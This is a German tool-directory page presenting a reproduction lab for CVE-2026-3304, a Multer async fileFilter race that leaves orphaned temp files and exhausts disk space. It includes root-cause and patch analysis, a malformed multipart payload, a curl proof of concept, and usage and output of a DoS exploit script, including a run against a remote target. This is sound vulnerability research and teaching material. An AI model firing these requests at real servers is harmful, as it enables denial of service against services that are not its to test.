Skip to content
KitploitKITPLOIT
ToolsBlog
Einreichen
ToolsBlog
Einreichen

Hacking-, PenTest- und Cybersicherheits-Tools für Ihr Sicherheitsarsenal!

Kitploit ist ein Verzeichnis von Hacking-, Cybersicherheits- und Pentesting-Tools. Entdecken Sie die neuesten Projekt-Updates, um Schwachstellen zu finden, Systeme zu analysieren, Tests zu automatisieren und Ihre Sicherheit zu stärken.

··Feeds·Kontakt·Datenschutz·© 2026 Kitploit

Tool-Verzeichnis

Kategorien

Alle Kategorien anzeigen
Loading categories
CVE-2026-3304 — # Reproduktionslabor für CVE-2026-3304, eine Multer-async-fileFilter-Race-Condition, die durch verwaiste temporäre Dateien zur Erschöpfung des Speicherplatzes führt. Enthält anfällige und gepatchte Docker-Server, Exploit-Skripte und Root-Cause-Analyse. | Kitploit
Tools/GitHubGitHub/mkway/cve-2026-3304
SchwachstellenanalyseExploitationWebsicherheitLernen & BildungLabs & Praxis
GitHubmkway/cve-2026-3304

CVE-2026-3304

# Reproduktionslabor für CVE-2026-3304, eine Multer-async-fileFilter-Race-Condition, die durch verwaiste temporäre Dateien zur Erschöpfung des Speicherplatzes führt. Enthält anfällige und gepatchte Docker-Server, Exploit-Skripte und Root-Cause-Analyse.

Repository anzeigen
4vor 6 MonatenNoch nicht geprüft

Beliebteste

Alle anzeigen →

Entdecken Sie die meistgenutzten Tools unserer Community.

Alle Tools erkunden

Durchsuchen Sie unsere Tool-Sammlung

Alle Tools anzeigen →
Teilen

CVE-2026-3304 Laborumgebung

Nur für Bildungs- und Forschungszwecke. Angriffe auf Systeme ohne Autorisierung sind illegal.

Diese Laborumgebung wurde durch die Analyse des Multer-2.1.0-Patches und seines offiziellen Testcodes erstellt. Der verwundbare Server repliziert exakt die im Patch-Test beschriebenen Bedingungen, und der gepatchte Server führt Multer 2.1.0 aus, um zu bestätigen, dass der Fix funktioniert.

Schwachstellenübersicht

FeldDetails
CVECVE-2026-3304
ZielMulter < 2.1.0 (Node.js multipart/form-data Middleware)
TypDoS — Verwaiste Datei (unvollständige Bereinigung temporärer Dateien)
CWECWE-459: Unvollständige Bereinigung
CVSS 4.08.7 HOCH
Gepatchte VersionMulter 2.1.0

Eine fehlerhafte Multipart-Anfrage mit einem fehlenden name-Attribut bei einem Dateiteil führt dazu, dass Multer eine temporäre Datei auf der Festplatte erstellt, diese aber nie bereinigt. Wiederholte Anfragen erschöpfen den Speicherplatz, was zu einem Denial of Service führt.


Root-Cause-Analyse

Die Schwachstelle entsteht im fileFilter-Callback-Behandlungsablauf innerhalb von multer/lib/make-middleware.js.

Kernproblem: setImmediate-Timing + fehlende errorOccured-Prüfung

Wenn Multer eine Multipart-Anfrage Teil für Teil streamt und parst, läuft die folgende Sequenz ab:

root@kitploit:~
[Parsing-Ereignissequenz — verwundbare Version]

1. Teil-1-Header empfangen
   → fileFilter(req, file, cb) aufgerufen
   → setImmediate(cb) → Callback auf den nächsten Event-Loop-Tick verschoben

2. Teil-1-Body empfangen
   → /tmp/uploads/<uuid> geöffnet, Daten werden geschrieben

3. Teil-2-Header empfangen (name-Attribut fehlt)
   → Multer erkennt 'name fehlt'
   → errorOccured = true  ← Fehlerflag gesetzt
   → abortWithCode('LIMIT_FIELD_KEY') aufgerufen → HTTP 500 geplant

4. setImmediate-Callback feuert (nächster Event-Loop-Tick)
   → fileFilter-Ergebnis: includeFile = true (normaler Ablauf)
   → [BUG] errorOccured-Flag wird NICHT geprüft
   → storage._handleFile() aufgerufen → temporäre Datei auf der Festplatte gespeichert

5. HTTP-500-Antwort gesendet
   → temporäre Datei bleibt auf der Festplatte (verwaiste Datei)

Verwundbarer Code (make-middleware.js — Multer < 2.1.0)

root@kitploit:~
// fileFilter-Abschluss-Callback (über setImmediate verschoben)
fileFilter(req, file, function (err, includeFile) {
  if (err) {
    appender.removePlaceholder(placeholder)
    return abortWithError(uploadedFiles, err)
  }

  if (!includeFile) {
    appender.removePlaceholder(placeholder)
    return fileStream.resume()
  }

  // ❌ errorOccured wird hier nie geprüft
  //    selbst wenn beim Parsen von Teil 2 ein Fehler gesetzt wurde, wird die Ausführung fortgesetzt
  storage._handleFile(req, file, function (err, info) {
    if (err) {
      appender.removePlaceholder(placeholder)
      return abortWithError(uploadedFiles, err)
    }
    // temporäre Datei wird in uploadedFiles registriert und auf der Festplatte belassen
    appender.replacePlaceholder(placeholder, assign(file, info))
    checkFinished()
  })
})

Warum ist setImmediate das Problem?

Das Umschließen von fileFilter mit setImmediate verschiebt dessen Callback auf den nächsten Event-Loop-Tick. In diesem Fenster parst busboy (der Multipart-Parser) weiter die Header des nächsten Teils, entdeckt das fehlende name und setzt errorOccured = true. Wenn der Callback fortgesetzt wird, ist der Fehlerzustand bereits gesetzt — aber der Code prüft ihn nie, also wird storage._handleFile bedingungslos aufgerufen und die temporäre Datei auf die Festplatte geschrieben.


Patch-Code-Analyse (Multer 2.1.0)

Fix-Commit: 739919097d

Eine einzelne if (errorOccured)-Absicherung wurde unmittelbar nach dem Eintritt in den fileFilter-Callback hinzugefügt, bevor storage._handleFile erreicht wird.

root@kitploit:~
// fileFilter-Abschluss-Callback (Multer 2.1.0)
fileFilter(req, file, function (err, includeFile) {
  if (err) {
    appender.removePlaceholder(placeholder)
    return abortWithError(uploadedFiles, err)
  }

  // ✅ [PATCH] errorOccured vor dem Fortfahren prüfen
  if (errorOccured) {
    appender.removePlaceholder(placeholder)
    return fileStream.resume()   // Stream leeren — keine Datei auf die Festplatte geschrieben
  }

  if (!includeFile) {
    appender.removePlaceholder(placeholder)
    return fileStream.resume()
  }

  storage._handleFile(req, file, function (err, info) {
    if (err) {
      appender.removePlaceholder(placeholder)
      return abortWithError(uploadedFiles, err)
    }
    appender.replacePlaceholder(placeholder, assign(file, info))
    checkFinished()
  })
})

Zusammenfassung der Änderungen

ElementVerwundbar (< 2.1.0)Gepatcht (2.1.0)
errorOccured-Prüfung❌ Nicht geprüft✅ Sofort beim Callback-Eintritt geprüft
_handleFile bei Fehler aufgerufenJaBlockiert
Bereinigung temporärer Dateien❌ Fehlt✅ Über fileStream.resume()
Verwaiste Dateien pro Anfrage10

Warum fileStream.resume() bereinigt: Der Aufruf von fileStream.resume() leert und verwirft den Stream, ohne ihn an DiskStorage zu übergeben, sodass keine Datei geschrieben wird und nichts auf der Festplatte zurückbleibt.


Offizieller Patch-Testcode

Das Multer-Team hat den folgenden Mocha-Test in den 2.1.0-Patch aufgenommen, um den Fix zu verifizieren. Dieser Test wurde zur Vorlage für diese Laborumgebung — der verwundbare Server repliziert das hier beschriebene exakte Setup (setImmediate fileFilter + fehlerhafte Multipart-Anfrage), und das erwartete Verhalten wird sowohl gegen die verwundbare als auch gegen die gepatchte Version verifiziert.

root@kitploit:~
/* eslint-env mocha */

var assert = require('assert')
var fs = require('fs')
var os = require('os')
var path = require('path')
var http = require('http')

var express = require('express')
var multer = require('../')

describe('async fileFilter cleanup', function () {
  it('does not leave orphan files when request aborts with missing field name', function (done) {
    var uploadDir = fs.mkdtempSync(path.join(os.tmpdir(), 'multer-orphan-'))
    var app = express()

    // Vulnerability trigger: async fileFilter via setImmediate
    var upload = multer({
      dest: uploadDir,
      fileFilter: function (req, file, cb) {
        setImmediate(function () { cb(null, true) })
      }
    })

    app.post('/upload', upload.any(), function (req, res) {
      res.json({ success: true })
    })

    // Error handler: respond with 400
    app.use(function (err, req, res, next) {
      res.status(400).json({ error: err.code })
    })

    var server = app.listen(0, function () {
      var port = server.address().port
      var boundary = 'TestBound'

      // Malicious body: Part 1 valid, Part 2 missing name attribute
      var body =
        '--' + boundary + '\r\n' +
        'Content-Disposition: form-data; name="f"; filename="a.bin"\r\n' +
        'Content-Type: application/octet-stream\r\n\r\nORPHAN FILE DATA\r\n' +
        '--' + boundary + '\r\n' +
        'Content-Disposition: form-data; filename="b.bin"\r\n' +   // ← name= missing
        'Content-Type: application/octet-stream\r\n\r\nx\r\n' +
        '--' + boundary + '--\r\n'

      var req = http.request({
        hostname: 'localhost',
        port: port,
        path: '/upload',
        method: 'POST',
        headers: {
          'Content-Type': 'multipart/form-data; boundary=' + boundary,
          'Content-Length': Buffer.byteLength(body)
        }
      }, function (res) {
        res.resume()
        res.on('end', function () {
          setTimeout(function () {
            var files = fs.readdirSync(uploadDir)

            // Assert 1: server must respond with 400 (error)
            assert.strictEqual(res.statusCode, 400)

            // Assert 2: no orphaned files must remain on disk
            assert.strictEqual(files.length, 0)

            server.close(done)
          }, 500)
        })
      })

      req.write(body)
      req.end()
    })
  })
})
AssertBedeutung
res.statusCode === 400Multer lehnt die fehlerhafte Anfrage korrekt ab
files.length === 0Keine verwaisten Dateien auf der Festplatte (Patch verifiziert)

Bei einer verwundbaren Version (< 2.1.0) ist files.length gleich 1 und der Assert schlägt fehl.


Laborimplementierung

Dieses Labor spiegelt direkt das oben beschriebene Patch-Test-Setup wider.

Verwundbarer Server (Dockerfile + app/server.js) führt Multer 2.0.2 mit einem asynchronen fileFilter unter Verwendung von setImmediate aus — die exakte Auslösebedingung aus dem Patch-Test:

root@kitploit:~
// app/server.js — repliziert den Schwachstellenauslöser des Patch-Tests
const upload = multer({
  dest: UPLOAD_DIR,
  fileFilter: function (req, file, cb) {
    setImmediate(function () {   // ← verschiebt den Callback und erzeugt die Race-Condition
      cb(null, true)
    })
  }
})

Gepatchter Server (Dockerfile.patched) führt dieselbe server.js aus, installiert aber Multer 2.1.0, wo die errorOccured-Absicherung vorhanden ist — entsprechend dem erwarteten Bestehenszustand des Patch-Tests.

ServerPortMulterErwartetes Verhalten
Verwundbar30002.0.2Verwaiste Datei pro fehlerhafter Anfrage erstellt
Gepatcht30012.1.0Keine verwaisten Dateien — Bereinigung funktioniert korrekt

Hinweis: Das Umschalten von fileFilter auf synchron (Entfernen von setImmediate) verhindert verwaiste Dateien selbst bei Multer < 2.1.0. Die Schwachstelle erfordert beide Bedingungen: einen asynchronen fileFilter und die fehlende errorOccured-Prüfung.


Angriff: Fehlerhafte POST-Anfrage

Der Angriff sendet eine multipart/form-data-POST-Anfrage, bei der dem zweiten Teil das erforderliche name-Attribut fehlt.

Normale Anfrage (sicher)

root@kitploit:~
POST /upload HTTP/1.1
Content-Type: multipart/form-data; boundary=----Boundary

------Boundary
Content-Disposition: form-data; name="file"; filename="photo.jpg"
Content-Type: application/octet-stream

<binary data>
------Boundary--

Bösartige Anfrage (löst CVE-2026-3304 aus)

root@kitploit:~
POST /upload HTTP/1.1
Content-Type: multipart/form-data; boundary=----Boundary

------Boundary
Content-Disposition: form-data; name="file"; filename="legit.bin"   ← Teil 1: gültig, temporäre Datei wird hier erstellt
Content-Type: application/octet-stream

AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA
------Boundary
Content-Disposition: form-data; filename="malformed.bin"            ← Teil 2: name= fehlt!
Content-Type: application/octet-stream

x
------Boundary--

Serverseitige Ausführung:

root@kitploit:~
1. Teil 1 trifft ein  →  Multer öffnet /tmp/uploads/<uuid> und beginnt zu schreiben
2. fileFilter mit setImmediate aufgerufen  →  Callback verschoben
3. Teil 2 trifft ein  →  Multer erkennt fehlendes name  →  errorOccured = true
4. setImmediate feuert  →  fileFilter-Callback läuft
5. [BUG] errorOccured nicht geprüft  →  storage._handleFile aufgerufen
6. Temporäre Datei auf die Festplatte geschrieben
7. HTTP 500 zurückgegeben
8. /tmp/uploads/<uuid> bleibt für immer auf der Festplatte  ← verwaiste Datei

Serverantwort:

root@kitploit:~
HTTP/1.1 500 Internal Server Error

MulterError: Field name missing
    at abortWithCode (/app/node_modules/multer/lib/make-middleware.js:...)

curl-PoC

root@kitploit:~
curl -s -X POST http://localhost:3000/upload \
  -H "Content-Type: multipart/form-data; boundary=----Boundary" \
  --data-binary $'------Boundary\r\nContent-Disposition: form-data; name="file"; filename="legit.bin"\r\nContent-Type: application/octet-stream\r\n\r\nAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA\r\n------Boundary\r\nContent-Disposition: form-data; filename="malformed.bin"\r\nContent-Type: application/octet-stream\r\n\r\nx\r\n------Boundary--\r\n'

Verwaiste Dateien unmittelbar danach prüfen:

root@kitploit:~
curl http://localhost:3000/status

Einrichtung

Voraussetzungen

  • Docker, Docker Compose
  • Python 3 + requests (pip install requests)

Start

root@kitploit:~
# Verwundbaren (Port 3000) + gepatchten (Port 3001) Server starten
docker compose up -d --build

# Prüfen, dass beide laufen
curl http://localhost:3000/status
curl http://localhost:3001/status

Verwendung

Schritt 1 — Einzelne fehlerhafte Anfrage (Schnelltest)

root@kitploit:~
bash exploit/curl_poc.sh

Schritt 2 — DoS-Exploit

root@kitploit:~
# Standard (50 Anfragen)
python3 exploit/exploit.py

# Schwerer Angriff (500 Anfragen, 5 KB Payload jeweils)
python3 exploit/exploit.py --count 500 --size 5120

# Gegen HTTPS-Ziel mit selbstsigniertem Zertifikat
python3 exploit/exploit.py --target https://target.example.com --no-verify

# Vergleich mit gepatchter Version
python3 exploit/exploit.py --target http://localhost:3001 --count 50

Schritt 3 — Echtzeit-Überwachung (separates Terminal)

root@kitploit:~
bash exploit/monitor.sh

Schritt 4 — Upload-Verzeichnis zurücksetzen

root@kitploit:~
curl -X DELETE http://localhost:3000/reset

Erwartete Ergebnisse

ZielErgebnis
Verwundbarer Server (3000)Verwaiste Datei pro Anfrage erstellt, Speicherplatz wächst kontinuierlich
Gepatchter Server (3001)0 verwaiste Dateien unabhängig von der Anzahl der Anfragen

Verifizierte Testergebnisse

Exploit-Ausgabe (verwundbarer Server, 50 Anfragen × 2 KB)

root@kitploit:~
[*] CVE-2026-3304 Multer Orphaned File DoS Exploit
[*] Target : http://localhost:3000/upload
[*] Requests: 50  |  Delay: 0.0s  |  Payload: 2048 bytes
------------------------------------------------------------
[*] Before attack — orphaned files: 0

[  10/50] 500 response: True | orphaned files: 10  | disk: 20.00 KB
[  20/50] 500 response: True | orphaned files: 20  | disk: 40.00 KB
[  30/50] 500 response: True | orphaned files: 30  | disk: 60.00 KB
[  40/50] 500 response: True | orphaned files: 40  | disk: 80.00 KB
[  50/50] 500 response: True | orphaned files: 50  | disk: 100.00 KB

============================================================
[Result] Total requests: 50  |  Triggered: 50
[Result] Orphaned files: 0 -> 50
[Result] Disk wasted:    100.00 KB

[!] VULNERABLE: 50 temporary files left on disk, never cleaned up
[!] Repeated attacks will exhaust disk space (DoS)

Tatsächliche Speichernutzung im Container verifiziert

root@kitploit:~
$ docker exec cve-2026-3304-target df -h /tmp/uploads

Before attack:
Filesystem   Size    Used  Available  Use%  Mounted on
tmpfs        50.0M   0     50.0M      0%    /tmp/uploads

After 200 requests × 5 KB:
Filesystem   Size    Used  Available  Use%  Mounted on
tmpfs        50.0M   1.6M  48.4M      3%    /tmp/uploads

$ docker exec cve-2026-3304-target du -sh /tmp/uploads
1.6M    /tmp/uploads

$ docker exec cve-2026-3304-target ls /tmp/uploads | wc -l
200

Jede verwaiste Datei verbleibt dauerhaft auf der Festplatte, bis der Server neu gestartet oder manuell bereinigt wird. Das tmpfs des Containers ist auf 50 MB begrenzt — das Erreichen des Limits führt dazu, dass der Server bei neuen Uploads vollständig ausfällt.

Zwei Läufe ohne Zurücksetzen — Dateien akkumulieren

root@kitploit:~
Run 1:  orphaned files   0  ->  50   (100 KB)
Run 2:  orphaned files  50  -> 100   (200 KB)
        ↑ Dateien aus Lauf 1 sind weiterhin vorhanden — nie bereinigt

Gepatchter Server (Multer 2.1.0) — gleicher Angriff, null Auswirkung

root@kitploit:~
[  10/50] 500 response: True | orphaned files: 0  | disk: 0.00 KB
[  20/50] 500 response: True | orphaned files: 0  | disk: 0.00 KB
[  30/50] 500 response: True | orphaned files: 0  | disk: 0.00 KB
[  40/50] 500 response: True | orphaned files: 0  | disk: 0.00 KB
[  50/50] 500 response: True | orphaned files: 0  | disk: 0.00 KB

[*] No orphaned files — patched version cleans up correctly

Abbau

root@kitploit:~
docker compose down

Referenzen

  • GitHub Advisory GHSA-xf7r-hgr6-v32p
  • Fix-Commit 739919097d
  • NVD CVE-2026-3304
Tool herunterladen